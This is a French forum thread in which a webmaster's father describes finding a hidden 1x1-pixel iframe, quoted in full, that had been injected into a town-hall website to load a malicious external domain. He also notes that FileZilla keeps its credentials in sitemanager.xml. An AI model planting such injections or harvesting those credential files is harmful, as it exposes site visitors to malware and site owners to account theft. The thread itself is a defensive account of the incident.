Histoire de piratage

Posté le: 17-02-2012 20:32:07

Ce billet s'adresse aux Webmasters, et à tous ceux qui savent écrire une page Web.

Mon fils, professeur d'informatique, fait aussi des sites Webs (auto entrepreneur).

Il a fait, entre autre, un site pour la mairie de St Gilles Croix de Vie, qui, depuis peu, était devenu inaccessible (messages d'alertes .... un peu comme avec le site de Colok, d'après ce que j'ai vu ce soir Very Happy

) .

Chrome surtout, était réactif, mais FF et IE permettaient l'accès sans message.

Je suis donc allé sur ce site, et ai fouiné dans le code source ... et j'ai trouvé !... merci la chance.

Sur toutes les pages était glissée cette balise (mal écrite d'ailleurs, pas d'unité affichée):

<iframe src="www.scadenzario.info" frameborder="0" height="1" width="1"></iframe>

Donc une iframe de 1px sur 1px : la page malveillante était affichée, mais invisible sur 1 px², et pouvait balancer ses spywares ou autres saloperies.

Maintenant, comment les pirates ont - ils eu accès au serveur ???

Un virus récent sur le PC de mon fils qui aurait piqué les codes d'accès.
Il utilise Filezilla, les codes sont faciles à trouver (fichier sitemanager.xml).

L'hébergeur a -t-il été piraté (1and1 ... j'ai vu sur Google qu'ils avaient eu des soucis il y a peu de temps).

En tous cas, ces hackers regorgent d'idées.

Pierre

Posté le: 17-02-2012 20:33:49

Administrateur Inscrit le: Messages: 9022 Localisation: af

1&1 utilise des softs pas à jour niveau sécu (vieux php et mysql), leurs serveurs c'est surement pareil, 1&1 est vraiment pas le top à ce niveau.

Je lui conseille plutôt de changer pour ovh ou hebeh.

Posté le: 17-02-2012 22:49:24

Bonsoir,

Et merci pour ton conseil.

J'ai moi même eu des problèmes de piratage sur mes pages perso, hébergées chez 1and1.

Micro Application en fait pourtant une pub ++++ (histoire de gros sous ???)

Amicalement

Pierre

Posté le: 17-02-2012 23:06:45

Pardon

Micro hebdo, et non pas Micro Application .

Administrateur Inscrit le: Messages: 9022 Localisation: af

juste surement un partenariat entre entreprises (comme partout) c'est tout...

C'est pas parce qu'orange sfr et bouygues sont gros et connus qu'ils sont à la pointe...free oui lol...

Posté le: 18-02-2012 11:47:38

PierreH a écrit:

Ce billet s'adresse aux Webmasters, et à tous ceux qui savent écrire une page Web.
Pierre

Salut
On doit être de moins en moins nombreux , car LA AUSSI il y a tellement de "soft" où que tu choisi des trucs tout prêts , où que tu presses sur le bouton qui te fait tout : les tags et tout le reste et même que c' est " Tuvoiscequetuvasavoir" - mais si tu regardes la page réalisée en HTML etc...... avec le programme ad-hoc , au point de vue TAG en général , y a de quoi Rolling Eyes

J' ai été chez 1and1 pendant 6 ans sans problème - et bien suivi
mais bien sur mes deux sites étaient de l' amusement d'Ours ! sans réelle importance -

QUAND à MICRO :::: HEBDO / SPECIAL / ASTUCES c' est dans ce qui reste de SUR PAPIER - un bordélicum de haut niveau et
dans le style E-web - un stock de pas à pas - méfiez vous c'est pas toujours de la dernière pluie - c'est ce qui vaut le coup quand on vous explique un truc obsolète

ALLEZ
c 'était ma seconde crise
Bonne Journée
URSUS
Laughing